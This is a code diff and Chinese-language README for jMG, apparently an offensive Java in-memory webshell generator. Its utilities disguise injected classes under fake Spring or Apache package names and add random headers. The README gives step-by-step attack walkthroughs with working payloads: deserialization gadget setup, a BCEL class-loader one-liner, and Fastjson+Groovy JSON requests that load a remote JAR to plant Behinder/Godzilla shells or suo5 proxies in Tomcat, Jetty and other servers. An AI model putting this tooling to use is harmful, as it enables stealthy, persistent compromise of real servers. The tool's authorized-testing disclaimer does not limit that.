+            CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
+        } catch (Exception e) {
+            try {
+                // 兼容 javassist v3.20 及以下
+                List<AttributeInfo> attributes = (List<AttributeInfo>) CommonUtil.getFV(classFile, "attributes");
+                removeAttribute(attributes, SourceFileAttribute.tag);
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+
+    public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
+        if (attributes == null) return null;
+
+        for (AttributeInfo ai : attributes)
+            if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
+
+        return null;
+    }
+
+
+    public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
+        if (fieldValue != null) {
+            JavassistUtil.addField(ctClass, fieldName, fieldValue);
+        }
+    }
+
+    public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
+        if (fieldValue != null) {
+            JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
+        }
+    }
+
+    public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
+        if (className != null) {
+            ctClass.setName(className);
+        }
+    }
+
+    public static String convertClassNameToFilePath(String className) {
+        return className.replace(".", "/");
+    }
+
+}

jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java

@@ -0,0 +1,30 @@
+package jmg.core.util;
+
+import java.util.Random;
+
+public class PackageNameUtil {
+
+    private static final String[] packageNames = {
+            "org.springframework",
+            "org.apache.commons",
+            "org.apache.logging",
+            "org.apache",
+            "com.fasterxml.jackson",
+            "org.junit",
+            "org.apache.commons.lang",
+            "org.apache.http.client",
+            "com.google.gso",
+            "ch.qos.logback"
+    };
+
+    public static String generatePackageName() {
+        Random random = new Random();
+        String packageName = packageNames[random.nextInt(packageNames.length)];
+        return packageName;
+    }
+
+
+    public static String getRandomPackageName() {
+        return generatePackageName();
+    }
+}

jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java

@@ -0,0 +1,37 @@
+package jmg.core.util;
+
+import java.util.AbstractMap;
+import java.util.Map;
+import java.util.Random;
+
+
+public class RandomHttpHeaderUtil {
+
+    private static final Random RANDOM = new Random();
+
+    public static Map.Entry<String, String> generateHeader() {
+        String key = generateRandomKey();
+        String value = generateRandomValue(key);
+        return new AbstractMap.SimpleEntry<>(key, value);
+    }
+
+    private static String generateRandomKey() {
+        String[] keys = {"Referer","User-Agent"};
+        return keys[RANDOM.nextInt(keys.length)];
+    }
+
+    private static String generateRandomValue(String key) {
+        switch (key) {
+            case "Referer":
+            case "User-Agent":
+                return generateRandomValue();
+            default:
+                return "";
+        }
+    }
+
+    private static String generateRandomValue() {
+        return CommonUtil.genRandomLengthString(4);
+    }
+
+}

jmg-core/src/main/java/jmg/core/util/ResponseUtil.java

@@ -0,0 +1,76 @@
+package jmg.core.util;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class ResponseUtil {
+
+    private static final Map<String, String> METHOD_BODY_MAP = new HashMap<>();
+
+    static {
+        METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
+        METHOD_BODY_MAP.put("jboss", getCommonMethodBody());
+        METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
+        METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
+        METHOD_BODY_MAP.put("resin", getResinMethodBody());
+        METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
+        METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
+        METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
+    }
+
+    public static String getMethodBody(String serverType) {
+        return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
+    }
+
+    private static String getCommonMethodBody() {
+        return "{javax.servlet.http.HttpServletResponse response = null;" +
+                "        try {" +
+                "            response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
+                "        } catch (Exception ex) {" +
+                "            try {" +
+                "                response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
+                "            } catch (Exception ex1) {" +
+                "            }" +
+                "        }" +
+                "        return response;}";
+    }
+
+    private static String getResinMethodBody() {
+        return "{javax.servlet.http.HttpServletResponse response;" +
+                "        response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
+                "        return response;}";
+    }
+
+    private static String getJettyMethodBody() {
+        return "{javax.servlet.http.HttpServletResponse response;\n" +
+                "        try{\n" +
+                "            response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
+                "        }catch (Exception e){\n" +
+                "            response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
+                "        }\n" +
+                "        return response;}";
+    }
+
+    private static String getWebsphereMethodBody() {
+        return "{javax.servlet.http.HttpServletResponse response;" +
+                "        response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
+                "        return response;}";
+    }
+
+
+    private static String getUndertowMethodBody() {
+        return "{javax.servlet.http.HttpServletResponse response = null;\n" +
+                "java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
+                "Object[] keys = map.keySet().toArray();\n" +
+                "for (int i = 0; i < keys.length; i++) {\n" +
+                "    Object key = keys[i];\n" +
+                "    if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
+                "        response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
+                "        break;\n" +
+                "    }\n" +
+                "}\n" +
+                "return response;}";
+
+    }
+}

jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java

@@ -0,0 +1,4 @@
+package org.springframework.web.servlet;
+
+public interface AsyncHandlerInterceptor {
+}

jmg-custom/pom.xml

@@ -0,0 +1,21 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>1.0.8</version>
+    </parent>
+    <artifactId>jmg-custom</artifactId>
+
+
+    <dependencies>
+        <dependency>
+            <groupId>${parent.groupId}</groupId>
+            <artifactId>jmg-core</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+</project>

jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java

@@ -0,0 +1,54 @@
+package jmg.custom.generator;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.generator.IShellGenerator;
+import jmg.core.util.CommonUtil;
+
+import javax.servlet.Filter;
+import javax.servlet.ServletRequestListener;
+import java.io.DataInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+
+public class CustomGenerator implements IShellGenerator {
+    @Override
+    public void initShell(AbstractConfig config) {
+        File f;
+        try {
+            f = new File(config.getClassFilePath());
+            if (!f.exists() || !f.isFile()) {
+                return;
+            }
+            ClassPool classPool = ClassPool.getDefault();
+            classPool.insertClassPath(new ClassClassPath(Filter.class));
+            classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class));
+            classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor");
+            classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor");
+            String filePath = config.getClassFilePath();
+            CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath)));
+            config.setShellClassName(ctClass.getName());
+            ctClass.detach();
+        } catch (Exception e) {
+            e.printStackTrace();
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Override
+    public byte[] makeShell(AbstractConfig config) throws Exception {
+        initShell(config);
+        byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath());
+        config.setShellBytes(bytes);
+        config.setShellBytesLength(bytes.length);
+        config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+        return bytes;
+    }
+
+    @Override
+    public byte[] modifyShell(String className, AbstractConfig config) {
+        return null;
+    }
+}

jmg-docs/1.0.4/README.md

@@ -0,0 +1,368 @@
+---
+title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
+author: pen4uin
+date: 2023-06-04
+---
+
+# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具
+
+## 0x01 简介
+
+**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具，可作为 woodpecker 的插件使用，提供常见中间件的内存马注入支持。
+
+![](./img/1708846585021.png)
+
+功能介绍
+
+- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
+- 支持的网站管理工具 (Behinder/Godzilla/Custom)
+- 支持的内存马类型 (Filter/Listener/Interceptor)
+- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
+- 支持的辅助模块 (探测目标中间件/序列化数据封装)
+
+模块划分
+
+- 内存马生成模块
+    - Behinder、Godzilla
+    - Custom
+        - 注入自定义的Filter和Listener，常见场景：其他网站管理工具的服务端、内存代理、内存水坑等
+- 辅助模块
+    - ServerType Detector 中间件探测器
+        - 探测中间件信息，常见场景：SpringBoot Fatjar
+        - 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
+- Ysoserial Payload Generator
+    - 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率
+
+
+参数说明
+
+| 参数名称        | 参数说明     | 其他                                     | |
+|-------------|----------|----------------------------------------|-|
+| server_type | 选择中间件的类型 |                                        |
+| shell_type	 | 选择内存马的类型 |                                        |
+| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理，如继承类、实现接口、添加注解 |
+| format_type | 输出格式     |                                        |
+
+更多参数 - 参数自定义
+
+![](./img/1708846851378.png)
+
+## 0x02 中间件覆盖情况
+
+|                 | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter |
+|-----------------|-------------------|-----------------|-------------------|-----------------|
+| tomcat 9.0.39   | ✅                 | ✅               | ✅                 | ✅               |
+| tomcat 8.5.53   | ✅                 | ✅               | ✅                 | ✅               |
+| tomcat 7.0.59   | ✅                 | ✅               | ✅                 | ✅               |
+| tomcat 6.0.48   | ✅                 | ✅               | ✅                 | ✅               |
+| tomcat 5.5.36   | ✅                 | ✅               | ✅                 | ✅               |
+| jetty 9.4.43    | ✅                 | ✅               | ✅                 | ✅               |
+| jetty 8.2.0     | ✅                 | ✅               | ✅                 | ✅               |
+| jetty 7.6.0     | ✅                 | ✅               | ✅                 | ✅               |
+| resin 4.0.66    | ✅                 | ✅               | ✅                 | ✅               |
+| resin 3.1.15    | ✅                 | ✅               | ❌                 | ✅               |
+| weblogic 10.3.6 | ✅                 | ✅               | ✅                 | ✅               |
+| weblogic 12.1.3 | ✅                 | ✅               | ✅                 | ✅               |
+| websphere 8.5.5 | ✅                 | ✅               | ❌                 | ✅               |
+| websphere 9.0.0 | ✅                 | ✅               | ❌                 | ✅               |
+
+注：以上测试结果仅供参考
+
+
+## 0x03 常见漏洞场景
+
+### 01 文件上传漏洞 (JSP)
+
+本地测试环境
+- Tomcat v6.0.48
+- JDK 8
+- 文件上传
+
+1、生成 jsp 文件
+
+![](./img/1708847432299.png)
+
+2、上传 jsp 到目标服务器，访问即可注入内存马，参考使用说明进行设置
+
+- 设置请求头
+
+![](./img/1708847448833.png)
+
+3、成功连接
+
+![](./img/1708847459275.png)
+
+### 02 反序列化漏洞 (readObject)
+
+本地测试环境
+- Tomcat v8.5.53
+- JDK 8
+- readObject 反序列化
+- CB1 链
+
+1、生成 class 文件
+```text
+server_type=Tomcat
+shell_type=Listener
+# 继承 AbstractTranslet
+gadget_type=JDK_AbstractTranslet
+format_type=CLASS
+output_path=/tmp/
+```
+
+![](./img/1708847507811.png)
+
+2、使用 `辅助模块` 进行序列化数据封装
+
+```text
+yso_gadget=CommonsBeanutils1
+yso_cmd=class_file:/tmp/HttpClientUtil.class
+format_type=BASE64
+```
+
+![](./img/1708847533913.png)
+
+注：依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker
+
+3、利用后，参考使用说明进行连接
+
+![](./img/1708847546219.png)
+
+### 03 表达式注入漏洞 (EL)
+
+本地测试环境
+- Tomcat v8.5.83
+- JDK 8
+- EL 表达式代码执行
+
+1、生成 class文件
+```text
+server_type=Tomcat
+shell_type=Listener
+gadget_type=NONE
+format_type=CLASS
+output_path=/tmp/
+```
+
+![](./img/1708847591532.png)
+
+2、使用 jexpr-encoder-utils 进行封装
+
+![](./img/1708847605226.png)
+
+注：依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils
+
+3、利用后，参考使用说明进行连接
+
+![](./img/1708847621706.png)
+
+### 04 代码执行漏洞 (Bsh)
+
+本地测试环境
+- Resin v4.0.40
+- JDK 8
+- Bsh 代码执行漏洞
+
+1、选择 输出格式为 BCEL ，生成 paylaod
+```text
+server_type=Resin
+shell_type=Listener
+gadget_type=NONE
+format_type=BCEL
+```
+
+![](./img/1708847681909.png)
+
+2、利用 BCEL 打内存马
+
+```text
+new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance();
+```
+
+3、参考使用说明进行连接
+
+![](./img/1708847705412.png)
+
+### 05 反序列化漏洞 (Fastjson)
+
+本地测试环境
+- Tomcat v8.5.83
+- Fastjson v1.2.80 反序列化漏洞
+- Groovy v3.0.8
+
+
+1、选择 输出格式为 JAR，生成 payload
+
+```text
+server_type=Tomcat
+shell_type=Listener
+# 选择利用链为 Fastjson+Groovy
+gadget_type=FastjsonGroovy
+format_type=JAR
+output_path=/tmp/fj/
+```
+
+![](./img/1708847745212.png)
+
+2、利用 groovy 利用链打内存马
+
+第1个请求
+
+```json
+{
+    "@type":"java.lang.Exception",
+    "@type":"org.codehaus.groovy.control.CompilationFailedException",
+    "unit":{}
+}
+```
+
+第2个请求
+
+```json
+{
+    "@type":"org.codehaus.groovy.control.ProcessingUnit",
+    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
+    "config":{
+        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
+        "classpathList":"http://127.0.0.1:8888/NetworkUtils.jar"
+    }
+}
+```
+
+![](./img/1708847792621.png)
+
+3、参考使用说明进行连接
+
+![](./img/1708847802775.png)
+
+### 06 模板注入漏洞 (Thymeleaf)
+本地测试环境
+- SpringBoot v2.2.0.RELEASE
+  - 内嵌 Jetty
+- JDK 8
+- Thymeleaf 模板注入漏洞
+
+由于 springboot 可以自定义中间件，所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat，有可能是jetty/undertow，也有可能是信创中间件。
+
+这种情况一般有两种方案：
+- 注入框架层面的内存马，比如 interceptor
+- 先判断出目标中间件，再注入对应中间件的内存马
+
+这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。
+
+1、优先使用 DFSEcho 通过回显来判断目标中间件，失败后再考虑dnslog等其他选择
+
+```text
+detect_way=DFSEcho
+server_type=Tomcat
+dnslog_domain=xxx.dnslog.cn
+httplog_url=http://xxx.httplog.cn
+sleep_seconds=5
+gadget_type=NONE
+format_type=BCEL
+```
+
+![](./img/1708847855479.png)
+
+2、获取到目标中间件为 jetty
+
+![](./img/1708847867937.png)
+
+3、生成对应的 payload
+
+```text
+server_type=Jetty
+shell_type=Listener
+gadget_type=NONE
+format_type=BCEL
+```
+
+![](./img/1708847885651.png)
+
+4、漏洞利用
+
+第1次尝试 - 失败
+
+![](./img/1708847896934.png)
+
+很常见的问题，参考 shiro 的漏洞利用的解决方案，写个 loader 加载字节码再 defineclass 即可。
+
+重新生成 payload
+
+![](./img/1708847909642.png)
+
+5、利用后参考使用说明进行连接即可
+
+![](./img/1708847921416.png)
+
+更多的场景就见仁见智了。
+
+
+## 0x04 常见利用场景
+
+### 01 注入内存代理
+本地测试环境
+
+- Tomcat v8.5.53
+- JDK 8
+- readObject 反序列化
+- CB1 链
+
+
+1、以 suo5 为例，编译 Suo5Filter.java
+
+https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java
+
+2、选择对应的中间件，生成 payload
+
+```text
+server_type=Tomcat
+gadget_type=JDK_AbstractTranslet
+format_type=CLASSc
+lass_file_path=/tmp/Suo5Filter.class
+output_path=/tmp/
+```
+
+![](./img/1708847982473.png)
+
+3、使用 辅助模块 进行序列化数据封装
+
+![](./img/1708847996329.png)
+
+4、利用后连接测试，内存代理注入成功
+
+![](./img/1708848005979.png)
+
+
+## 0x05 小结
+
+下载地址
+
+[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
+
+注意⚠️
+```text
+该工具仅适用于在授权环境/测试环境进行使用，请勿用于生产环境。
+如果遇到 bug / 建议 / 实战场景需求，欢迎提 issue 交流
+```
+
+目录结构如下 (需要下载 yso-for-woodpecker)
+```text
+pen4uin@bogon Desktop % tree /tmp/woodpecker 
+/tmp/woodpecker
+├── common
+│   └── ysoserial-for-woodpecker-0.5.2.jar
+├── config.db
+├── plugin
+│   └── jMG-1.0.4.beta1.jar
+└── woodpecker-framework.1.3.5.jar
+```
+
+
+<br>
+参考
+
+- https://github.com/feihong-cs/memShell
+- https://github.com/su18/MemoryShell
+- https://github.com/woodpecker-framework/
+- https://github.com/BeichenDream/GodzillaMemoryShellProject